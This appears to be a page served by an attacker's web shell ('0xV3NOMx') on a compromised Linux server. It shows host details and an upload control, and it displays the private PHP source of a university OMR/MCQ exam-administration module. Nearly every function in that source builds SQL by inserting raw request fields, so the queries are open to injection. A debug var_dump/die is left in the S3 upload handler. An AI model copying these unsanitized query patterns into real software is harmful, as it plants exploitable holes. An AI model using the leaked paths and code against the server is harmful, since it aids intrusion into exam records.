0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.16.50.172


Current Path : /var/www/html/univadmin/src/
Upload File :
Current File : /var/www/html/univadmin/src/omrqnentry.php

<?php
    require_once("/var/www/html/aws/aws-autoloader.php");
    use Aws\S3\S3Client;
    use Aws\S3\Exception\S3Exception;
    
    function getOmrQpCode($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];

        $query = "select distinct fqpcode as qpcode, concat(ifnull(fsubname, ''), ' ', '[',ifnull(fqpcode, ''),']')as subname 
                  from subject where ifnull(fqpcode, '')<>''
                  and ifnull(fsuspend, 'T') <> 'T' and ifnull(fonlineqp, 'F') = 'T'
                  order by fsubname";
        $result=$aobj_context->pobj_db->GetAll($query);
        if ($result) {
            echo $aobj_context->mobj_output->TOJSONEnvelope($result, 0, "success");
        }else{
            $arr['msg']="no qpcode found";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
        }
    }

    function getOmrYearMode($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];

        $query = "select ifnull(d.fmeyear, '')as fyear, ifnull(d.fmeexamtyp, '')as fexamtype, 
                  ifnull(d.fexamdate, '')as fexamdate, ifnull(s.fvalmax, '')as fvalmax from degree d 
                  inner join subject s on s.fdegree=d.fdegree and s.fexamno=d.fexamno
                  where fqpcode='{$qpcode}'";
        $result=$aobj_context->pobj_db->GetRow($query);
        if ($result) {
            echo $aobj_context->mobj_output->TOJSONEnvelope($result, 0, "success");
        }else{
            $arr['msg']="no data found";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
        }
    }


    function saveOmrQnDet($aobj_context)
    {
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $examdate = $aobj_context->mobj_data["examdate"];
        $maxmarks = $aobj_context->mobj_data["maxmarks"];
        $maxqn = $aobj_context->mobj_data["maxqn"];
        $eachqn = $aobj_context->mobj_data["eachqn"];
        $type = $aobj_context->mobj_data["type"];

        $query = "insert into mcqqp(fqpcode, fyear, fexamtype, fexamdate, fmaxmarks, fmaxqn, fqnmarks, fcreatedate, fcreateuser, ftype)
                  values ('{$qpcode}', '{$year}', '{$mode}', '{$examdate}', '{$maxmarks}', '{$maxqn}', '{$eachqn}', now(), '{$user}', '{$type}')";
        $result=$aobj_context->pobj_db->Execute($query);

        for($i=1; $i<=$maxqn; $i++){
            $query = "insert into mcqqpdet(fqpcode, fyear, fexamtype, fqpno)
                      values('{$qpcode}', '{$year}', '{$mode}', '{$i}')";
            $result=$aobj_context->pobj_db->Execute($query);
        }

        if ($result) {
            $arr['msg']="Updated Successfully";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
        }else{
            $arr['msg']="Failed to update";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
        }
    }

    function viewOmrMarksEnrtyDet($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
    
        $query = "select q.fteachcode, q.fqpcode, q.fyear, q.fexamtype, q.fexamdate, 
                  q.fmaxmarks, q.fmaxqn, q.fqnmarks, q.fnoqp, q.ftype, 
                  sum(if(ifnull(d.fquestion, '')='', 0, 1))as fcount from mcqqp q
                  left join mcqqpdet d on d.fteachcode = q.fteachcode 
                  and q.fqpcode = d.fqpcode and d.fyear = q.fyear and d.fexamtype = q.fexamtype
                  and q.fnoqp = d.fnoqp
                  where q.fteachcode='{$teachcode}' and ifnull(fappointed, 'F') = 'T'
                  group by q.fteachcode, q.fqpcode, q.fyear, q.fexamtype, q.fnoqp";
        $result=$aobj_context->pobj_db->GetAll($query);
        if ($result) {
            echo $aobj_context->mobj_output->TOJSONEnvelope($result, 0, "success");
        }else{
            $arr['msg']="no data found";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
        }
    }

    function getOmrMCQQP($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = $aobj_context->req_body;
        $qpcode = $data['qpcode'];
        $year = $data['year'];
        $mode = $data['mode'];
        $noqp = $data['noqp'];
        $teachcode = $data['teachcode'];

        $query = "select fqpno, if(ifnull(fquestion, '')='','Not Completed', 'Completed')as fqpcomp 
                  from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' and fexamtype='{$mode}' and 
                  fteachcode='{$teachcode}' and fnoqp='{$noqp}' order by cast(fqpno as unsigned)";
        $result = $aobj_context->pobj_db->GetAll($query);
        

        $query1 = "select fqpno, fmaxmarks, fquestion, fopta, foptb, 
                  foptc, foptd, fkeyans, ifnull(fqnfile, '')as fqnfile, ifnull(foptafile, '')as foptafile, 
                  ifnull(foptbfile, '')as foptbfile, ifnull(ftype, 'Both')as ftype,
                  ifnull(foptcfile, '')as foptcfile, ifnull(foptdfile, '')as foptdfile from mcqqpdet 
                  where fqpcode='{$qpcode}' and fyear='{$year}' and fexamtype='{$mode}'
                  and fteachcode='{$teachcode}' and fnoqp='{$noqp}'";

        $result1=$aobj_context->pobj_db->GetAll($query1);
        
        if ($result1) {
            $arr['mcqqp'] = $result;
            $arr['mcqqpdet'] = $result1;
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
        }else{
            $arr['msg']="no data found";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
        }
    }

    function saveOmrQp($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = json_decode($aobj_context->mobj_data["data"], true);
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $qnno = $aobj_context->mobj_data["qnno"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $noqp = $aobj_context->mobj_data["noqp"];
    
        $query = "update mcqqpdet set fmaxmarks = '{$data['maxQnMarks']}', fquestion = '{$data['question']}', fopta = '{$data['optionA']}', foptb = '{$data['optionB']}', 
                  foptc = '{$data['optionC']}', foptd = '{$data['optionD']}', fkeyans = '{$data['keyAns']}', ftype='{$data['ftype']}' where fqpcode = '{$qpcode}'
                  and fyear = '{$year}' and fexamtype = '{$mode}' and fqpno = '{$qnno}'
                  and fteachcode='{$teachcode}' and fnoqp='{$noqp}'";
        $result=$aobj_context->pobj_db->Execute($query);
        if ($result) {
            $arr['msg']="success";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
        }else{
            $arr['msg']="failure";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }

    function uploadOmrFileHandlers($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $qnno = $aobj_context->mobj_data["qnno"];
        $field = $aobj_context->mobj_data["field"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $noqp = $aobj_context->mobj_data["noqp"];
        
        $filedata = $_FILES['file']['tmp_name'];
        $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
        $filename = $qpcode.'_'.$year.'_'.$mode.'_'.$noqp.'_'.$field.'.'.$ext;
        $key = $univcode. '/'. $qpcode. '/'. $year. '/'. $mode .'/'. $filename;

        $s3 = S3Client::factory(
        array(
            'credentials' => array(
                'key' => IAM_KEY,
                'secret' => IAM_SECRET
            ),
            'version' => "latest",
            'region'  => 'ap-south-1'
        ));

        try {
             $s3->putObject(['Bucket' => "omr-files", 'Key' => $key, 'SourceFile' => $filedata]);
            $query = "update mcqqpdet set $field = '{$key}' where fqpcode = '{$qpcode}'
                      and fyear = '{$year}' and fexamtype = '{$mode}' and fqpno = '{$qnno}'
                      and fteachcode='{$teachcode}' and fnoqp='{$noqp}'";

                      var_dump($query);die();
            $result=$aobj_context->pobj_db->Execute($query);
            if ($result) {
                $arr['msg']=$key;
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
            }else{
                $arr['msg']="failure";
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
                return;
            }
        }catch(S3Exception $e) {
            $arr['msg'] = 'failure';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }

       
    }

    function updateMcqQpDet($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = $aobj_context->req_body;
        $qpcode = $data['qpcode'];
        $year = $data['year'];
        $mode = $data['mode'];
        $noqp = $data['noqp'];
        $teachcode = $data['teachcode'];
        $maxqn = $data['maxqn'];

        for ($i=1; $i <= $maxqn; $i++) { 
            $query = "insert ignore into mcqqpdet(fqpcode, fyear, fexamtype, fnoqp, fteachcode, fqpno, fcreatedate, fcreateuser, fqna)
                     values('{$qpcode}', '{$year}', '{$mode}', '{$noqp}', '{$teachcode}', '{$i}', now(), '{$teachcode}', '{$i}')";

            $result=$aobj_context->pobj_db->Execute($query);
        }

        if($result){
            $arr['msg'] = 'Questions inserted';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to insert question numbers';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function getOmrQuestionPapers($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = $aobj_context->req_body;
        $deggrpYearMode = $data['exam'];
        $split = explode("*", $deggrpYearMode);
        $splitYearMode = explode("-", $split[1]);
        $exam = $split[0]; 
        $year = $splitYearMode[0];
        $examtype = $splitYearMode[1];
        $board = $data['board'];
        $qpcode = $data['qpcode'];
        $degree = $data['degree'];
        $sem = $data['sem'];
        $status = $data['status'];

        $qpcode === "All" ? $qpCond = "" : $qpCond = "and m.fqpcode='{$qpcode}'";
        $degree === "All" ? $degreeCond = "" : $degreeCond = "and d.fdegree='{$degree}'";
        $sem === "All" ? $semCond = "" : $semCond = "and d.fexamno='{$sem}'";

        if($status === "All"){
            $statusCnd = "";
        }else if($status === "selected"){
            $statusCnd = "and ifnull(ffinalpaper, '') = 'T'";
        }else if($status === "not_selected"){
            $statusCnd = "and ifnull(ffinalpaper, '') <> 'T'";
        }
        
        $query = "select m.fqpcode, s.fsubname, m.fyear, m.fexamtype, m.fexamdate, m.fteachcode, m.fnoqp, m.fmaxmarks, 
                  m.fversions, m.fdate, m.ffinalpaper, m.ffinaldate 
                  from mcqqp m inner join subject s on s.fqpcode = m.fqpcode 
                  #and s.fcsubcode = m.fcsubcode
                  inner join degree d on d.fdegree = s.fdegree and d.fexamno = s.fexamno
                  where d.fdeggrp='{$exam}' {$qpCond} {$degreeCond} {$semCond} {$statusCnd}
                  and m.fyear = '{$year}' and m.fexamtype='{$examtype}' and ifnull(fonlineqp, 'F') = 'T'
                  group by fqpcode, fyear, fexamtype, m.fcsubcode, fteachcode, fnoqp ";
        //var_dump($query);
                  

        $result=$aobj_context->pobj_db->GetAll($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to get the MCQ details';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function saveOMRFinalPaper($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = json_decode($aobj_context->mobj_data["data"], true);

        foreach($data as $val){
            $query = "update mcqqp set ffinalpaper='{$val['ffinalpaper']}', ffinaldate=now(), fversions='{$val['fversions']}'
                      where fqpcode='{$val['fqpcode']}' and fyear='{$val['fyear']}' 
                      and fexamtype='{$val['fexamtype']}' 
                      and fteachcode='{$val['fteachcode']}' and fnoqp='{$val['fnoqp']}'";

            $result=$aobj_context->pobj_db->Execute($query);
        }

        if($result){
            $arr['msg'] = 'updated successfully';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to update';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function getSelectedMCQFinalPapers($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = $aobj_context->req_body;
        $deggrpYearMode = $data['exam'];
        $split = explode("*", $deggrpYearMode);
        $splitYearMode = explode("-", $split[1]);
        $exam = $split[0]; 
        $year = $splitYearMode[0];
        $examtype = $splitYearMode[1];
        $qpcode = $data['qpcode'];
        $degree = $data['degree'];
        $sem = $data['sem'];

        $qpcode === "All" ? $qpCond = "" : $qpCond = "and m.fqpcode='{$qpcode}'";
        $degree === "All" ? $degreeCond = "" : $degreeCond = "and d.fdegree='{$degree}'";
        $sem === "All" ? $semCond = "" : $semCond = "and d.fexamno='{$sem}'";
        
        $query = "select m.fqpcode, s.fsubname, m.fyear, m.fexamtype, m.fexamdate, m.fteachcode, m.fnoqp, m.fmaxmarks, 
                  m.fdate, m.ffinalpaper, m.ffinaldate, m.fversions 
                  from mcqqp m inner join subject s on s.fqpcode = m.fqpcode 
                  #and s.fcsubcode = m.fcsubcode
                  inner join degree d on d.fdegree = s.fdegree and d.fexamno = s.fexamno
                  where ifnull(m.ffinalpaper, '')='T' and ifnull(fonlineqp, 'F') = 'T'
                  {$qpCond} and m.fyear='{$year}' and m.fexamtype='{$examtype}' 
                  {$degreeCond} {$semCond} and d.fdeggrp='{$exam}'
                  group by fqpcode, fyear, fexamtype, m.fcsubcode, fteachcode, fnoqp ";
                
        $result=$aobj_context->pobj_db->GetAll($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to get the MCQ details';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function generateMCQVersions($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = $aobj_context->req_body;
        $qpcode = $data['fqpcode'];
        $teachcode = $data['fteachcode'];
        $year = $data['fyear'];
        $examtype = $data['fexamtype'];
        $noqp = $data['fnoqp'];
        $fversions = intval($data['fversions']);

        $query = "select if(fmaxqn = '','20',ifnull(fmaxqn, 20)) as fmaxqn 
                  from mcqqp where
                  fyear = '{$year}' and fexamtype='{$examtype}'
                  and fteachcode='{$teachcode}'
                  and fqpcode='{$qpcode}' and fnoqp='{$noqp}'";
        //var_dump($query);
        $result = $aobj_context->pobj_db->GetRow($query);

        $maxqn = intval($result['fmaxqn']);

        $divide = ceil($maxqn / $fversions);

        $qnArr = ['fqnb', 'fqnc', 'fqnd'];
        
        for($i=0; $i < $fversions - 1; $i++){

            $divide = $divide * ($i + 1);

            for($j = 1; $j <= $maxqn; $j++){
                $qn = $divide + 1;
                $query = "update mcqqpdet set {$qnArr[$i]} = '{$qn}' where fyear = '{$year}' 
                            and fexamtype='{$examtype}' and fteachcode='{$teachcode}'
                            and fqpcode='{$qpcode}' and fnoqp='{$noqp}'
                            and fqpno='{$j}' ";

                $res = $aobj_context->pobj_db->Execute($query);

                if($qn == $maxqn){
                    $divide = 0;
                } else {
                    $divide = $qn;
                }
                
                if($j == $maxqn){
                    $divide = ceil($maxqn / 4);
                }
            }
           
        }

        if($res){
            $arr['msg'] = 'Versions generated successfully';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to get the MCQ details';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }
?>